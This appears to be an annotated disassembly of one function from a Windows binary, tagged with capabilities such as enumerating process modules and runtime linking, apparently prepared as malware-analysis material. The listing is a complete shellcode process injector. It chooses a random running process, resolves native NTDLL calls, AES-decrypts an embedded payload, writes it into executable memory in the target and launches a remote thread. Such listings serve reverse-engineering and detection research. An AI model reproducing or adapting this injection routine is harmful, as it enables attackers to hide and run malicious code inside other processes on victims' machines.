Function at 0x401775
Capabilities:
Enumerate process modules
Link many functions at runtime

Disassembly:
push rbp
push rdi
sub rsp, 0xd8
lea rbp, [rsp + 0x80]
call sym.__main
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
mov eax, dword [0x00404270]
lea rdx, [0x0040a910]
mov r8, rdx
mov edx, eax
lea rax, [0x004089c0]
mov rcx, rax
call sym.EnumProcesses
test eax, eax
jne 0x4017cf
lea rcx, str._s_Failed_to_retrive_the_list_of_processes
call sym.printf
jmp 0x4017e5
mov rax, qword [0x00404240]
mov rdx, rax
lea rcx, str._s_Sucessfully_go_the_list_of_processes__n
call sym.printf
lea rax, [0x0040a910]
mov eax, dword [rax]
shr eax, 2
mov dword [rbp + 0x4c], eax
mov rax, qword [0x00404258]
mov rdx, rax
lea rcx, str._n_s_Function_Prototypes_are_building..._n
call sym.printf
lea rcx, str.NTDLL
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rdx, rax
lea rax, [0x0040a918]
mov qword [rax], rdx
lea rax, [0x0040a918]
mov rax, qword [rax]
test rax, rax
jne 0x401864
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x00404248]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_Module_handle_couldnt_be_obtained_ERROR__ld_
call sym.printf
mov eax, 1
jmp 0x401c4b
lea rax, [0x0040a918]
mov rdx, qword [rax]
mov rax, qword [0x00404240]
mov r8, rdx
mov rdx, rax
lea rcx, str._n_s_Module_handle_obtained_HANDLE____0x_p__n
call sym.printf
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtOpenProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x40], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x38], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x30], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtWriteVirtualMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x28], rax
lea rax, [0x0040a918]
mov rax, qword [rax]
lea rdx, str.NtClose
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x20], rax
lea rdx, [rbp - 0x10]
mov eax, 0
mov ecx, 6
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x10], 0x30
jmp 0x401a24
mov eax, dword [rbp + 0x4c]
mov edx, eax
lea rax, [0x004089c0]
mov rcx, rax
call sym.GetRandomPID
mov edx, eax
lea rax, [0x004089a0]
mov dword [rax], edx
lea rax, [0x004089a0]
mov eax, dword [rax]
mov eax, eax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x10]
mov r10, qword [rbp + 0x40]
mov r9, rdx
mov r8, rax
mov edx, 0x1f0fff
lea rax, [0x0040a908]
mov rcx, rax
call r10
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x4019ee
lea rax, [0x0040a900]
mov ecx, dword [rax]
lea rax, [0x004089a0]
mov edx, dword [rax]
mov rax, qword [0x00404248]
mov r9d, ecx
mov r8d, edx
mov rdx, rax
lea rcx, str._s_PID__ld___error:_0x_lx
call sym.printf
jmp 0x401a24
lea rax, [0x004089a0]
mov ecx, dword [rax]
lea rax, [0x0040a908]
mov rdx, qword [rax]
mov rax, qword [0x00404240]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rcx, str._n_s_Got_HANDLE____0x_lp__on_PID__ld__n
call sym.printf
mov byte [0x00408040], 1
movzx eax, byte [0x00408040]
xor eax, 1
test al, al
jne 0x40194c
mov rax, qword [0x00404260]
mov r9d, 0x10
lea r8, [0x00404020]
mov edx, eax
lea rcx, [0x00404040]
call sym.AESDecrypt
lea rax, [0x0040a908]
mov rcx, qword [rax]
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
mov rax, qword [rbp + 0x30]
lea r9, [0x00404260]
mov r8d, 0
lea rdx, [0x00408038]
call rax
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x401ad0
lea rax, [0x0040a900]
mov edx, dword [rax]
mov rax, qword [0x00404248]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_Failed_to_Allocate_Memory__Error:__lx_n
call sym.printf
mov eax, 1
jmp 0x401c4b
mov rax, qword [0x00404240]
mov r8d, 0x200
mov rdx, rax
lea rcx, str._s_Allocated___zu_bytes__of_memory_to_the_selected_process__n
call sym.printf
mov rdx, qword [0x00408038]
lea rax, [0x0040a908]
mov rcx, qword [rax]
lea rax, [0x00408030]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x28]
mov r9d, 0x200
lea r8, [0x00404040]
call rax
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x401b5e
mov rdx, qword [0x00404260]
mov rax, qword [0x00404248]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_Failed_to_write__zu_bytes_to_memory_
call sym.printf
mov eax, 1
jmp 0x401c4b
mov rcx, qword [0x00408038]
mov rdx, qword [0x00408030]
mov rax, qword [0x00404240]
mov r9, rcx
mov r8, rdx
mov rdx, rax
lea rcx, str._s_Wrote___zu_bytes__to_Addr____0x_p_
call sym.printf
mov rcx, qword [0x00408038]
lea rax, [0x0040a908]
mov r8, qword [rax]
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rcx
mov rax, qword [rbp + 0x38]
mov r9, r8
mov r8, rdx
mov edx, 0x1f03ff
lea rcx, [0x00404268]
call rax
mov edx, eax
lea rax, [0x0040a900]
mov dword [rax], edx
lea rax, [0x0040a900]
mov eax, dword [rax]
test eax, eax
je 0x401c30
lea rax, [0x0040a900]
mov edx, dword [rax]
mov rax, qword [0x00404248]
mov r8d, edx
mov rdx, rax
lea rcx, str._n_s_Failed_to_create_a_Thread__Error:__lx_n
call sym.printf
mov eax, 1
jmp 0x401c4b
mov rax, qword [0x00404240]
mov rdx, rax
lea rcx, str._n_s_Thread_made__injection_successful_n
call sym.printf
mov eax, 0
add rsp, 0xd8
pop rdi
pop rbp
ret